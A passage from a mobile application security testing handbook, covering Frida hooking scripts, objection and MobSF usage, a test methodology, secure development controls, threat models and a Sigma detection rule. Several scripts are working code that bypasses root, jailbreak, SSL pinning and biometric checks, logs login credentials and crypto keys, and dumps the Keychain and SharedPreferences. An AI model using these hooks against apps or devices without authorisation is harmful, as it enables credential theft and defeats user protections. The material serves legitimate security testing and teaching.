    Runtime.exec.overload('[Ljava.lang.String;').implementation = function (cmd) {
        if (cmd[0] === 'su' || cmd.toString().indexOf('su') !== -1) {
            console.log('[+] su exec blocked');
            throw Java.use('java.io.IOException').$new('Permission denied');
        }
        return this.exec(cmd);
    };

    // Bypass Build.TAGS check
    const Build = Java.use('android.os.Build');
    Build.TAGS.value = 'release-keys';

    // Bypass system property checks
    const SystemProperties = Java.use('android.os.SystemProperties');
    SystemProperties.get.overload('java.lang.String').implementation = function (key) {
        if (key === 'ro.build.tags') return 'release-keys';
        if (key === 'ro.debuggable') return '0';
        if (key === 'ro.secure') return '1';
        return this.get(key);
    };
});
```

### 10.3 Android — Method Hooking and Argument Logging

```javascript
Java.perform(() => {
    // Hook login method to capture credentials
    const LoginActivity = Java.use('com.target.app.LoginActivity');
    LoginActivity.authenticate.implementation = function (username, password) {
        console.log('[CREDS] Username: ' + username);
        console.log('[CREDS] Password: ' + password);
        return this.authenticate(username, password);
    };

    // Hook encryption method to capture plaintext
    const CryptoHelper = Java.use('com.target.app.CryptoHelper');
    CryptoHelper.encrypt.implementation = function (data) {
        console.log('[CRYPTO] Plaintext: ' + data);
        const result = this.encrypt(data);
        console.log('[CRYPTO] Ciphertext: ' + result);
        return result;
    };

    // Enumerate all loaded classes matching pattern
    Java.enumerateLoadedClasses({
        onMatch: function (className) {
            if (className.includes('com.target.app')) {
                console.log('[CLASS] ' + className);
            }
        },
        onComplete: function () {
            console.log('[*] Class enumeration complete');
        }
    });

    // Hook all methods of a class
    const targetClass = Java.use('com.target.app.SecureManager');
    const methods = targetClass.class.getDeclaredMethods();
    methods.forEach(function (method) {
        const methodName = method.getName();
        console.log('[METHOD] ' + methodName);
    });
});
```

### 10.4 Android — Intercepting Crypto Operations

```javascript
Java.perform(() => {
    const Cipher = Java.use('javax.crypto.Cipher');

    // Hook Cipher.init to capture keys and IVs
    Cipher.init.overload('int', 'java.security.Key', 'java.security.spec.AlgorithmParameterSpec')
        .implementation = function (opmode, key, params) {
        const mode = opmode === 1 ? 'ENCRYPT' : 'DECRYPT';
        console.log('[NERF] Mode: ' + mode);
        console.log('[NERF] Algorithm: ' + this.getAlgorithm());
        console.log('[NERF] Key: ' + bytesToHex(key.getEncoded()));

        if (params.$className === 'javax.crypto.spec.IvParameterSpec') {
            const iv = Java.cast(params, Java.use('javax.crypto.spec.IvParameterSpec'));
            console.log('[NERF] IV: ' + bytesToHex(iv.getIV()));
        }
        return this.init(opmode, key, params);
    };

    // Hook Cipher.doFinal to capture plaintext/ciphertext
    Cipher.doFinal.overload('[B').implementation = function (input) {
        console.log('[NERF] Input: ' + bytesToHex(input));
        const output = this.doFinal(input);
        console.log('[NERF] Output: ' + bytesToHex(output));
        return output;
    };

    function bytesToHex(bytes) {
        const HexClass = Java.use('org.apache.commons.codec.binary.Hex');
        try {
            return HexClass.encodeHexString(bytes);
        } catch (e) {
            let hex = '';
            for (let i = 0; i < bytes.length; i++) {
                hex += ('0' + (bytes[i] & 0xFF).toString(16)).slice(-2);
            }
            return hex;
        }
    }
});
```

### 10.5 Android — Bypass Biometric Authentication

```javascript
Java.perform(() => {
    // Hook BiometricPrompt callback to force success
    const BiometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt');
    const CryptoObject = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject');

    const AuthCallback = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');

    AuthCallback.onAuthenticationSucceeded.implementation = function (result) {
        console.log('[+] Biometric auth succeeded (hooked)');
        this.onAuthenticationSucceeded(result);
    };

    // For AndroidX BiometricPrompt
    try {
        const AndroidXBiometricPrompt = Java.use('androidx.biometric.BiometricPrompt');
        const AndroidXCallback = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');

        AndroidXCallback.onAuthenticationFailed.implementation = function () {
            console.log('[+] Biometric fail intercepted, calling success');
            const AuthResult = Java.use('androidx.biometric.BiometricPrompt$AuthenticationResult');
            // Force success callback
        };
    } catch (e) {
        console.log('[-] AndroidX BiometricPrompt not found');
    }
});
```

### 10.6 iOS — SSL Pinning Bypass

```javascript
// Bypass NSURLSession SSL pinning
if (ObjC.available) {
    const resolver = new ApiResolver('objc');

    // Bypass NSURLSession delegate
    resolver.enumerateMatches('-[* URLSession:didReceiveChallenge:completionHandler:]', {
        onMatch: function (match) {
            Interceptor.attach(match.address, {
                onEnter: function (args) {
                    const completionHandler = new ObjC.Block(args[4]);
                    const NSURLSessionAuthChallengeUseCredential = 0;
                    const serverTrust = ObjC.Object(args[3])
                        .protectionSpace().serverTrust();
                    const credential = ObjC.classes.NSURLCredential
                        .credentialForTrust_(serverTrust);
                    completionHandler.invoke(NSURLSessionAuthChallengeUseCredential, credential);
                }
            });
        },
        onComplete: function () {}
    });

    // Bypass AFNetworking
    try {
        const AFSecurityPolicy = ObjC.classes.AFSecurityPolicy;
        Interceptor.attach(AFSecurityPolicy['- evaluateServerTrust:forDomain:'].implementation, {
            onLeave: function (retval) {
                retval.replace(0x1);  // Return YES
                console.log('[+] AFNetworking SSL pinning bypassed');
            }
        });
    } catch (e) {}

    // Bypass AlamoFire
    try {
        const ServerTrustPolicy = ObjC.classes.ServerTrustPolicy;
        Interceptor.attach(ServerTrustPolicy['- evaluateServerTrust:forHost:'].implementation, {
            onLeave: function (retval) {
                retval.replace(0x1);
                console.log('[+] AlamoFire SSL pinning bypassed');
            }
        });
    } catch (e) {}
}
```

### 10.7 iOS — Jailbreak Detection Bypass

```javascript
if (ObjC.available) {
    // Bypass NSFileManager existence checks
    const NSFileManager = ObjC.classes.NSFileManager;
    Interceptor.attach(NSFileManager['- fileExistsAtPath:'].implementation, {
        onEnter: function (args) {
            this.path = ObjC.Object(args[2]).toString();
        },
        onLeave: function (retval) {
            const jbPaths = [
                '/Applications/Cydia.app', '/Library/MobileSubstrate',
                '/bin/bash', '/usr/sbin/sshd', '/etc/apt',
                '/usr/bin/ssh', '/private/var/lib/apt',
                '/private/var/lib/cydia', '/private/var/stash',
                '/usr/libexec/sftp-server', '/usr/bin/cycript',
                '/usr/local/bin/cycript', '/usr/lib/libcycript.dylib',
                '/var/cache/apt', '/var/lib/apt', '/var/lib/cydia',
                '/var/log/syslog', '/bin/sh', '/usr/libexec/ssh-keysign'
            ];
            if (jbPaths.indexOf(this.path) !== -1) {
                retval.replace(0x0);  // File does not exist
                console.log('[+] JB path hidden: ' + this.path);
            }
        }
    });

    // Bypass canOpenURL checks (cydia://)
    const UIApplication = ObjC.classes.UIApplication;
    Interceptor.attach(UIApplication['- canOpenURL:'].implementation, {
        onEnter: function (args) {
            this.url = ObjC.Object(args[2]).toString();
        },
        onLeave: function (retval) {
            if (this.url.indexOf('cydia') !== -1) {
                retval.replace(0x0);
                console.log('[+] canOpenURL blocked: ' + this.url);
            }
        }
    });

    // Bypass fork() check (sandboxed apps can't fork)
    Interceptor.attach(Module.findExportByName(null, 'fork'), {
        onLeave: function (retval) {
            retval.replace(-1);  // Indicate fork failure (expected in sandbox)
            console.log('[+] fork() spoofed as failed');
        }
    });

    // Bypass dylib injection check
    Interceptor.attach(Module.findExportByName(null, '_dyld_image_count'), {
        onLeave: function (retval) {
            // Return lower count to hide injected dylibs
        }
    });
}
```

### 10.8 iOS — Keychain Dumper

```javascript
if (ObjC.available) {
    const SecItemCopyMatching = Module.findExportByName('Security', 'SecItemCopyMatching');

    Interceptor.attach(SecItemCopyMatching, {
        onEnter: function (args) {
            this.query = new ObjC.Object(args[0]);
            this.result = args[1];
            console.log('[KEYCHAIN] Query: ' + this.query.toString());
        },
        onLeave: function (retval) {
            if (retval.toInt32() === 0 && this.result) {  // errSecSuccess
                const resultObj = new ObjC.Object(Memory.readPointer(this.result));
                console.log('[KEYCHAIN] Result: ' + resultObj.toString());
            }
        }
    });

    // Enumerate all keychain items
    function dumpKeychain() {
        const kSecClass = ObjC.classes.NSString.stringWithString_('class');
        const kSecReturnAttributes = ObjC.classes.NSString.stringWithString_('r_Attributes');
        const kSecReturnData = ObjC.classes.NSString.stringWithString_('r_Data');
        const kSecMatchLimit = ObjC.classes.NSString.stringWithString_('m_Limit');

        const classes = ['genp', 'inet', 'cert', 'keys', 'idnt'];

        classes.forEach(function (secClass) {
            const query = ObjC.classes.NSMutableDictionary.alloc().init();
            query.setObject_forKey_(secClass, kSecClass);
            query.setObject_forKey_(ObjC.classes.NSNumber.numberWithBool_(true), kSecReturnAttributes);
            query.setObject_forKey_(ObjC.classes.NSNumber.numberWithBool_(true), kSecReturnData);
            query.setObject_forKey_('m_LimitAll', kSecMatchLimit);

            const resultPtr = Memory.alloc(Process.pointerSize);
            const status = SecItemCopyMatching(query, resultPtr);
            if (status === 0) {
                const results = new ObjC.Object(Memory.readPointer(resultPtr));
                console.log('[KEYCHAIN:' + secClass + '] ' + results.toString());
            }
        });
    }
}
```

### 10.9 Android — SharedPreferences Dumper

```javascript
Java.perform(() => {
    // Hook SharedPreferences to capture all reads/writes
    const SharedPreferencesImpl = Java.use('android.app.SharedPreferencesImpl');

    SharedPreferencesImpl.getString.implementation = function (key, defValue) {
        const value = this.getString(key, defValue);
        console.log('[PREFS:GET] ' + key + ' = ' + value);
        return value;
    };

    SharedPreferencesImpl.getInt.implementation = function (key, defValue) {
        const value = this.getInt(key, defValue);
        console.log('[PREFS:GET] ' + key + ' = ' + value);
        return value;
    };

    SharedPreferencesImpl.getBoolean.implementation = function (key, defValue) {
        const value = this.getBoolean(key, defValue);
        console.log('[PREFS:GET] ' + key + ' = ' + value);
        return value;
    };

    // Hook Editor.putString to capture writes
    const EditorImpl = Java.use('android.app.SharedPreferencesImpl$EditorImpl');
    EditorImpl.putString.implementation = function (key, value) {
        console.log('[PREFS:PUT] ' + key + ' = ' + value);
        return this.putString(key, value);
    };

    // Dump all SharedPreferences files
    const context = Java.use('android.app.ActivityThread').currentApplication().getApplicationContext();
    const prefsDir = context.getFilesDir().getParent() + '/shared_prefs/';
    const File = Java.use('java.io.File');
    const dir = File.$new(prefsDir);
    const files = dir.listFiles();
    if (files) {
        for (let i = 0; i < files.length; i++) {
            console.log('[PREFS:FILE] ' + files[i].getName());
        }
    }
});
```

### 10.10 Frida Detection and Anti-Detection

```javascript
// Common Frida detection methods (for understanding what to evade):
//
// 1. Port scanning: frida-server defaults to port 27042
// 2. /proc/self/maps: check for frida-agent.so, frida-gadget.so
// 3. Named pipes: /tmp/frida-* patterns
// 4. D-Bus: frida uses D-Bus protocol
// 5. Library scanning: dlopen("frida-agent") return check
// 6. Thread enumeration: frida creates named threads (gmain, gdbus)

// Anti-detection: Hook detection methods
Java.perform(() => {
    // Hide frida from /proc/self/maps
    const BufferedReader = Java.use('java.io.BufferedReader');
    BufferedReader.readLine.overload().implementation = function () {
        const line = this.readLine();
        if (line && (line.indexOf('frida') !== -1 ||
                     line.indexOf('gadget') !== -1 ||
                     line.indexOf('linjector') !== -1)) {
            return this.readLine();  // Skip frida-related lines
        }
        return line;
    };

    // Hide frida port
    const InetAddress = Java.use('java.net.InetAddress');
    const ServerSocket = Java.use('java.net.ServerSocket');
    // Override port check to claim 27042 is closed
});
```

---

## 11. Objection — Runtime Exploitation

### Overview

Objection is a Frida-powered runtime mobile exploration toolkit. Key capability: **does not require a jailbroken/rooted device** (injects frida-gadget via repackaging).

### Installation

```bash
pip3 install objection
pip3 install --upgrade objection
```

### Core Commands

```bash
# Connect to app on USB device
objection -g com.target.app explore

# Patch APK with frida-gadget (non-rooted)
objection patchapk --source app.apk

# Patch IPA with frida-gadget (non-jailbroken)
objection patchipa --source app.ipa --codesign-signature "Developer ID"
```

### Runtime Commands (Inside objection REPL)

```bash
# === Environment ===
env                                    # Show app paths and environment

# === File System ===
ls /                                   # Browse app sandbox
file download /data/data/com.app/db.sqlite  # Download file
file upload local.txt /data/data/com.app/   # Upload file

# === SSL Pinning ===
android sslpinning disable            # Bypass Android SSL pinning
ios sslpinning disable                # Bypass iOS SSL pinning

# === Root/Jailbreak Detection ===
android root disable                  # Bypass root detection
android root simulate                 # Simulate rooted environment
ios jailbreak disable                 # Bypass jailbreak detection
ios jailbreak simulate                # Simulate jailbroken environment

# === Keychain / Keystore ===
ios keychain dump                     # Dump iOS Keychain contents
ios keychain dump --json              # JSON output
android keystore list                 # List Keystore entries
android keystore clear                # Clear Keystore

# === Cookies ===
ios cookies get                       # Dump app cookies
android hooking list activities       # List all activities

# === Memory ===
memory dump all dump.bin              # Dump process memory
memory dump from_base <addr> <size>   # Dump specific region
memory list modules                   # List loaded modules
memory list exports <module>          # List module exports
memory search "password"              # Search memory for string

# === Hooking ===
android hooking list classes          # List loaded classes
android hooking list class_methods <class>  # List methods
android hooking watch class <class>         # Hook all methods
android hooking watch class_method <method> --dump-args --dump-return

ios hooking list classes              # List ObjC classes
ios hooking list class_methods <class>
ios hooking watch method "-[ClassName methodName:]" --dump-args

# === SQLite ===
sqlite connect /data/data/com.app/databases/app.db
sqlite execute "SELECT * FROM users"

# === NSUserDefaults / SharedPreferences ===
ios nsuserdefaults get                # Dump NSUserDefaults
android hooking get current_activity  # Current foreground activity

# === Pasteboard ===
ios pasteboard monitor                # Monitor clipboard changes

# === Intent / URL Schemes ===
android intent launch_activity <activity>  # Launch activity directly
```

---

## 12. MobSF — Automated Analysis

### Overview

Mobile Security Framework (MobSF) — automated, all-in-one mobile security testing platform supporting static analysis, dynamic analysis, and API testing.

### Supported Formats

| Platform | File Types |
|----------|-----------|
| Android | APK, AAB, source code (ZIP) |
| iOS | IPA, source code (ZIP) |
| Windows | APPX |

### Deployment

```bash
# Docker (recommended)
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
# Access: http://localhost:8000 (mobsf/mobsf)

# For dynamic analysis (Android), connect emulator or device
# MobSF integrates with Genymotion, Android Studio Emulator, and real devices
```

### Static Analysis Capabilities

- **Manifest Analysis**: Permissions, exported components, backup flags, debug flags
- **Code Analysis**: Hardcoded secrets, insecure API usage, crypto issues, logging
- **Binary Analysis**: PIE, stack canaries, RELRO, RPATH, NX bit
- **Library Analysis**: Vulnerable third-party library detection
- **Network Security Config**: Cleartext traffic, certificate pinning, trust anchors
- **Malware Pattern Detection**: Known malware signatures, suspicious behavior patterns
- **CVSS Scoring**: Automated severity ratings for findings
- **OWASP Mapping**: Findings mapped to Mobile Top 10

### Dynamic Analysis Capabilities

- Runtime API monitoring
- Network traffic capture
- Activity/intent testing
- Exported component testing
- Frida-based instrumentation
- Screenshot capture
- File system monitoring

### API Integration

```bash
# REST API for CI/CD integration
# Upload APK for analysis
curl -F 'file=@app.apk' http://localhost:8000/api/v1/upload \
    -H "Authorization: <api_key>"

# Get scan results
curl http://localhost:8000/api/v1/scan \
    -H "Authorization: <api_key>" \
    -d "hash=<file_hash>"

# Generate PDF report
curl http://localhost:8000/api/v1/download_pdf \
    -H "Authorization: <api_key>" \
    -d "hash=<file_hash>" -o report.pdf
```

### Bundled Distributions

MobSF is included in: Android Tamer, BlackArch, Pentoo.

---

## 13. Mobile Security Testing Methodology

### Phase 1: Reconnaissance & Scope

```
1. Identify app package name / bundle ID
2. Determine platform(s) and minimum OS versions
3. Identify backend API endpoints (from traffic analysis or binary strings)
4. Review app store listing (permissions, description, third-party SDKs noted)
5. Check for multiple app variants (free/pro, regional builds)
6. Identify development framework (native, React Native, Flutter, Xamarin, Cordova)
```

### Phase 2: Static Analysis

```
1. Decompile / disassemble binary
   - Android: jadx, apktool, dex2jar
   - iOS: class-dump, Hopper, Ghidra (after decryption)

2. Review manifest / Info.plist
   - Permissions audit (over-privileged?)
   - Exported components (Android)
   - URL schemes (iOS/Android)
   - ATS exceptions (iOS)
   - Network security config (Android)
   - Backup/debug flags

3. Secrets discovery
   - API keys, tokens, credentials in source
   - Certificate/private key bundles
   - Hardcoded URLs pointing to staging/dev environments

4. Cryptographic assessment
   - Algorithm identification (weak crypto?)
   - Key management review
   - IV/nonce handling

5. Third-party library audit
   - CVE check against known library versions
   - Privacy-invasive SDK identification (analytics, ads)

6. Binary protection assessment
   - Obfuscation level
   - PIE, ARC, stack canaries
   - Anti-debugging / anti-tampering presence

7. MobSF automated scan
   - Upload binary for comprehensive static analysis
   - Review CVSS-scored findings
```

### Phase 3: Dynamic Analysis

```
1. Traffic interception setup
   - Configure proxy (Burp Suite / mitmproxy)
   - Install CA certificate on device
   - Bypass SSL pinning (Frida / objection)

2. Authentication testing
   - Session management analysis
   - Token lifecycle (expiry, rotation, revocation)
   - Biometric auth bypass attempts
   - Step-up auth verification

3. Data storage analysis
   - Monitor file creation during app usage
   - Check databases, preferences, caches for sensitive data
   - Analyze backup contents
   - Screenshot/snapshot review

4. IPC testing
   - Intent injection (Android)
   - URL scheme fuzzing (iOS/Android)
   - Content provider queries (Android)
   - Deep link testing

5. Runtime manipulation
   - Method hooking with Frida
   - Business logic bypass
   - Client-side check circumvention
   - Memory analysis for sensitive data

6. Network analysis
   - API endpoint enumeration
   - Authentication bypass attempts
   - IDOR testing
   - Parameter tampering
   - Response manipulation
```

### Phase 4: Resilience Testing

```
1. Root/jailbreak detection assessment
   - Identify detection mechanisms
   - Bypass with Frida/objection
   - Evaluate detection depth (trivial vs. layered)

2. Debugger detection
   - Attach debugger (lldb, jdb, gdb)
   - Assess detection and response

3. Code integrity
   - Repackage and re-sign binary
   - Verify signature validation
   - Test on modified environment

4. Anti-hooking assessment
   - Frida detection methods
   - Substrate/Xposed detection
   - Evaluate evasion difficulty

5. Obfuscation review
   - Control flow analysis
   - String encryption assessment
   - Name mangling effectiveness
```

### Phase 5: Privacy Assessment

```
1. Permission analysis
   - Minimum necessary permissions?
   - Dangerous permission justification

2. Data collection audit
   - Network traffic analysis for PII transmission
   - Third-party tracker identification
   - Device fingerprinting detection

3. Consent and transparency
   - Privacy policy accessibility
   - Consent mechanism validation
   - Data usage notifications

4. Regulatory compliance
   - GDPR Article 5/6/7/13/14 (lawful basis, consent, transparency)
   - CCPA Section 1798.100-1798.199 (disclosure, opt-out, deletion)
   - COPPA for child-directed apps
```

### Phase 6: Reporting

```
Use NERF Finding Report Format:
[FINDING-001]
Severity   : High
CVSS       : 7.5
CWE        : CWE-312 (Cleartext Storage of Sensitive Information)
ATT&CK     : T1552.001 (Credentials In Files)
MASVS      : MASVS-STORAGE-1
Location   : com.target.app.AuthManager.saveToken()
Description: Authentication token stored in SharedPreferences without encryption
Proof      : [Frida script output / file contents]
Impact     : Token extraction from device backup enables account takeover
Remediation: Use Android Keystore with setUserAuthenticationRequired(true)
```

---

## 14. Secure Mobile Development Controls

### 14.1 Data Storage

```
[CRITICAL] Never store secrets in SharedPreferences / NSUserDefaults
[CRITICAL] Use Android Keystore / iOS Keychain for credentials and keys
[CRITICAL] Disable android:allowBackup or encrypt backup data
[HIGH]     Set Data Protection class to NSFileProtectionComplete (iOS)
[HIGH]     Use EncryptedSharedPreferences (Android Jetpack Security)
[HIGH]     Disable keyboard cache on sensitive inputs (autocorrectionType = .no)
[HIGH]     Prevent screenshot capture on sensitive screens (FLAG_SECURE / UITextField.isSecureTextEntry)
[MEDIUM]   Clear clipboard on app background for sensitive content
[MEDIUM]   Implement secure logging (strip PII in release builds)
```

### 14.2 Cryptography

```
[CRITICAL] Use platform crypto APIs — never custom implementations
[CRITICAL] AES-256-GCM for symmetric encryption
[CRITICAL] RSA-2048+ or ECDSA P-256+ for asymmetric operations
[CRITICAL] PBKDF2 (600K+ iterations) or Argon2id for key derivation
[HIGH]     Hardware-backed key storage:
           - Android: KeyGenParameterSpec.Builder().setIsStrongBoxBacked(true)
           - iOS: kSecAttrTokenIDSecureEnclave with SecKeyCreateRandomKey
[HIGH]     Cryptographic key rotation mechanism
[HIGH]     Random IV/nonce generation for every encryption operation
[MEDIUM]   Certificate transparency for TLS connections
```

### 14.3 Authentication & Authorization

```
[CRITICAL] Server-side authentication enforcement (never client-side only)
[CRITICAL] OAuth 2.0 / OpenID Connect for API authentication
[CRITICAL] Biometric auth must be tied to cryptographic operation:
           - Android: setUserAuthenticationRequired(true) on Keystore key
           - iOS: kSecAccessControlBiometryCurrentSet with Keychain ACL
[HIGH]     Step-up authentication for sensitive operations
[HIGH]     Token storage in secure enclave / hardware keystore
[HIGH]     Session timeout and remote revocation
[MEDIUM]   Device binding for tokens (device attestation)
[MEDIUM]   Anti-replay mechanisms on authentication flows
```

### 14.4 Network Communication

```
[CRITICAL] TLS 1.2+ for all connections (no exceptions)
[CRITICAL] Never override certificate validation
[CRITICAL] Network security config (Android):
           <network-security-config>
               <base-config cleartextTrafficPermitted="false">
                   <trust-anchors>
                       <certificates src="system" />
                   </trust-anchors>
               </base-config>
           </network-security-config>
[CRITICAL] ATS enabled with no exceptions (iOS)
[HIGH]     Certificate pinning (public key pinning preferred over cert pinning)
           Include backup pins for key rotation
[HIGH]     Certificate Transparency enforcement
[MEDIUM]   DNS-over-HTTPS / DNS-over-TLS
```

### 14.5 Platform Interaction

```
[CRITICAL] Validate all Intent/URL scheme parameters before processing
[CRITICAL] Set android:exported="false" for internal components
[CRITICAL] Use Universal Links (iOS) over custom URL schemes
[HIGH]     Restrict Content Provider access with permissions
[HIGH]     WebView security:
           - setJavaScriptEnabled(false) unless required
           - setAllowFileAccess(false)
           - setAllowContentAccess(false)
           - Validate URLs before loading
           - Minimize @JavascriptInterface surface
[HIGH]     Overlay protection: filterTouchesWhenObscured="true"
[MEDIUM]   Use PendingIntent.FLAG_IMMUTABLE (Android 12+)
```

### 14.6 Code Quality & Build

```
[CRITICAL] Remove debug flags from release builds
[CRITICAL] Enable ProGuard/R8 obfuscation (Android)
[CRITICAL] Strip debug symbols from release binaries
[HIGH]     Dependency scanning in CI/CD (Snyk, OWASP Dependency-Check)
[HIGH]     SAST integration (MobSF, SonarQube mobile rules)
[HIGH]     Minimum SDK version enforcement (no ancient API levels)
[HIGH]     Input validation on all IPC entry points
[MEDIUM]   Force app update mechanism for critical security patches
[MEDIUM]   Compile native code with -fstack-protector-all, PIE, RELRO
```

### 14.7 Resilience (Defense-in-Depth)

```
[HIGH]     Multi-layered root/jailbreak detection (not single check)
[HIGH]     Runtime integrity verification (checksum, signature)
[HIGH]     Debugger detection and response (not just detection)
[HIGH]     Frida/instrumentation detection:
           - Scan /proc/self/maps for frida artifacts
           - Check for frida-server on default port (27042)
           - Detect named threads (gmain, gdbus)
           - Inline hook detection via function prologue verification
[MEDIUM]   Emulator detection for fraud-sensitive apps
[MEDIUM]   Code obfuscation (control flow, string encryption)
[LOW]      Device attestation (Play Integrity API / App Attest)
```

### 14.8 Privacy by Design

```
[CRITICAL] Data minimization — collect only what is necessary
[CRITICAL] Purpose limitation — use data only for stated purpose
[CRITICAL] Consent before data collection (GDPR Art. 7)
[HIGH]     Pseudonymization where possible
[HIGH]     Implement data export and deletion APIs (GDPR Art. 15, 17)
[HIGH]     Privacy policy accessible before and during app use
[HIGH]     App Tracking Transparency integration (iOS)
[MEDIUM]   Identifier rotation (avoid persistent device fingerprinting)
[MEDIUM]   On-device processing preference over cloud processing
[MEDIUM]   Third-party SDK privacy audit and data flow mapping
```

---

## 15. Mobile Threat Modeling

### STRIDE Applied to Mobile

```
+------------------+--------------------------------------------+----------------------------+
| Threat           | Mobile-Specific Examples                   | Mitigations                |
+------------------+--------------------------------------------+----------------------------+
| Spoofing         | Fake app impersonation, scheme hijacking,  | Code signing, Universal    |
|                  | phishing via deep links, rogue Wi-Fi       | Links, cert pinning        |
+------------------+--------------------------------------------+----------------------------+
| Tampering        | APK repackaging, binary patching, memory   | Integrity checks, anti-    |
|                  | manipulation, Frida hooking, Xposed        | tamper, obfuscation        |
+------------------+--------------------------------------------+----------------------------+
| Repudiation      | Unlogged sensitive operations, missing     | Server-side audit logging, |
|                  | transaction audit trail                    | signed receipts            |
+------------------+--------------------------------------------+----------------------------+
| Info Disclosure  | Plaintext storage, log leakage, backup     | Encryption at rest, secure |
|                  | exposure, screenshot capture, clipboard    | storage APIs, FLAG_SECURE  |
+------------------+--------------------------------------------+----------------------------+
| Denial of Service| Resource exhaustion via malformed input,   | Input validation, rate     |
|                  | API abuse, intent flooding                 | limiting, crash handling   |
+------------------+--------------------------------------------+----------------------------+
| Elevation of     | Client-side auth bypass, intent injection, | Server-side enforcement,   |
| Privilege        | content provider exploitation, root/JB     | component permissions      |
+------------------+--------------------------------------------+----------------------------+
```

### Mobile-Specific Trust Boundaries

```
+-------------------------------------------------------+
|                    DEVICE                               |
|  +-----------+  +-------------+  +-----------------+  |
|  | App       |  | Other Apps  |  | OS / Platform   |  |
|  | Sandbox   |  | (IPC)       |  | (Kernel/TEE)    |  |
|  |           |  |             |  |                 |  |
|  | +-------+ |  |  Intents    |  |  Keystore/      |  |
|  | | WebView| |  |  Schemes   |  |  Keychain       |  |
|  | +-------+ |  |  Clipboard  |  |  Biometrics     |  |
|  +-----------+  +-------------+  +-----------------+  |
|        |                                               |
+--------|----------------------------------------------+
         | TLS (Trust Boundary: Network)
         |
+--------|----------------------------------------------+
|  +-----v------+   +------------+   +--------------+  |
|  | API Gateway |   | Auth Server|   | Data Store   |  |
|  | (WAF)       |   | (OAuth/JWT)|   | (Encrypted)  |  |
|  +-------------+   +------------+   +--------------+  |
|                    BACKEND                             |
+-------------------------------------------------------+
```

### ATT&CK for Mobile — Key Techniques

| Tactic | Technique ID | Technique | Mobile Relevance |
|--------|-------------|-----------|------------------|
| Initial Access | T1474 | Supply Chain Compromise | Malicious SDK, compromised library |
| Initial Access | T1476 | Deliver Malicious App | Sideloading, trojanized app |
| Initial Access | T1444 | Masquerade as Legitimate Application | App impersonation |
| Execution | T1575 | Native API | Direct syscalls bypassing framework |
| Persistence | T1398 | Boot or Logon Initialization Scripts | Startup receivers (Android) |
| Privilege Escalation | T1404 | Exploitation of OS Vulnerability | Kernel exploits, jailbreak chains |
| Defense Evasion | T1406 | Obfuscated Files or Information | Packed/encrypted payloads |
| Defense Evasion | T1407 | Download New Code at Runtime | Dynamic code loading |
| Credential Access | T1409 | Stored Application Data | SharedPrefs, SQLite, plist |
| Credential Access | T1417 | Input Capture | Keylogging, accessibility abuse |
| Discovery | T1418 | Application Discovery | Enumerate installed packages |
| Collection | T1414 | Clipboard Data | Clipboard monitoring |
| Collection | T1429 | Capture Audio | Microphone access abuse |
| Collection | T1430 | Location Tracking | Background location harvesting |
| Exfiltration | T1438 | Alternative Network Mediums | Bluetooth/NFC exfil |
| C2 | T1437 | Standard Application Layer Protocol | HTTPS, WebSocket C2 |

---

## 16. Detection & Defense — Blue Team Perspective

### MDM / MAM Detection Capabilities

```yaml
# Sigma Rule: Detect Frida Server on Android Device
title: Frida Server Process Detection on Mobile Device
id: 8a3c7b2e-1d4f-4e5a-9c8b-2f6e7d3a1b5c
status: experimental
description: Detects frida-server process running on managed Android device via MDM telemetry
logsource:
    category: process_creation
    product: android
detection:
    selection:
        ProcessName|contains:
            - 'frida'
            - 'frida-server'
            - 'frida-gadget'
        ProcessPath|contains:
            - '/data/local/tmp/'
            - '/dev/'
    condition: selection
falsepositives:
    - Authorized security testing
level: high
tags:
    - attack.defense_evasion
    - attack.t1406
```

### Server-Side Mobile Threat Detection

```
1. Device Attestation Verification
   - Play Integrity API responses (CTS profile, basic integrity, strong integrity)
   - App Attest / DeviceCheck tokens (iOS)
   - Flag requests from non-attested devices

2. Request Anomaly Detection
   - Certificate pinning removal indicators (unusual TLS client fingerprints)
   - API calls with modified parameters (tampered requests)
   - Unusual user-agent strings (Frida, Xposed indicators)
   - Request timing anomalies (automated tooling signatures)

3. Session Intelligence
   - Multiple sessions from same device with different identities
   - Geographically impossible session transitions
   - Sessions from known emulator fingerprints

4. Behavioral Analysis
   - API call patterns inconsistent with UI flow
   - Missing intermediate API calls (skipped app logic)
   - Rate anomalies on sensitive endpoints
```

### Mobile-Specific SIEM Rules

```
1. Alert on API requests without device attestation token
2. Alert on repeated authentication failures from same device ID
3. Alert on account access from previously unseen device + new geography
4. Alert on sensitive API calls outside normal app flow sequence
5. Alert on bulk data access patterns from mobile clients
6. Alert on API version downgrade attempts (older, less secure API versions)
```

---

## 17. Tool Reference Matrix

### Static Analysis

| Tool | Platform | Purpose | Install |
|------|----------|---------|---------|
| JADX | Android | DEX/APK to Java decompilation | `brew install jadx` / GitHub releases |
| apktool | Android | APK decode/rebuild (smali + resources) | `brew install apktool` |
| dex2jar | Android | DEX to JAR conversion | GitHub releases |
| MobSF | Both | Automated static + dynamic analysis | `docker pull opensecurity/mobile-security-framework-mobsf` |
| class-dump | iOS | ObjC header extraction | `brew install class-dump` |
| Hopper | iOS/macOS | Disassembler with pseudo-code | Commercial license |
| Ghidra | Both | NSA reverse engineering framework | `brew install ghidra` |
| otool | iOS | Mach-O binary analysis | Xcode CLI tools |
| Semgrep | Both | SAST with mobile-specific rules | `pip install semgrep` |

### Dynamic Analysis

| Tool | Platform | Purpose | Install |
|------|----------|---------|---------|
| Frida | Both | Dynamic instrumentation | `pip install frida-tools` |
| objection | Both | Runtime exploitation (Frida-powered) | `pip install objection` |
| Burp Suite | Both | HTTP/S traffic interception | Commercial / Community |
| mitmproxy | Both | Programmable MITM proxy | `pip install mitmproxy` |
| Drozer | Android | IPC/component testing | GitHub releases |
| Cycript | iOS | ObjC/JS runtime console | Cydia package |
| lldb | iOS | Debugger | Xcode |
| Magisk | Android | Root management + MagiskHide | GitHub releases |

### Specialized

| Tool | Platform | Purpose | Install |
|------|----------|---------|---------|
| Passionfruit | iOS | App analysis GUI (archived) | `npm install -g passionfruit` |
| KeychainDumper | iOS | Keychain extraction (jailbroken) | GitHub releases |
| adb | Android | Android Debug Bridge | Android SDK |
| ideviceinstaller | iOS | IPA install/management | `brew install ideviceinstaller` |
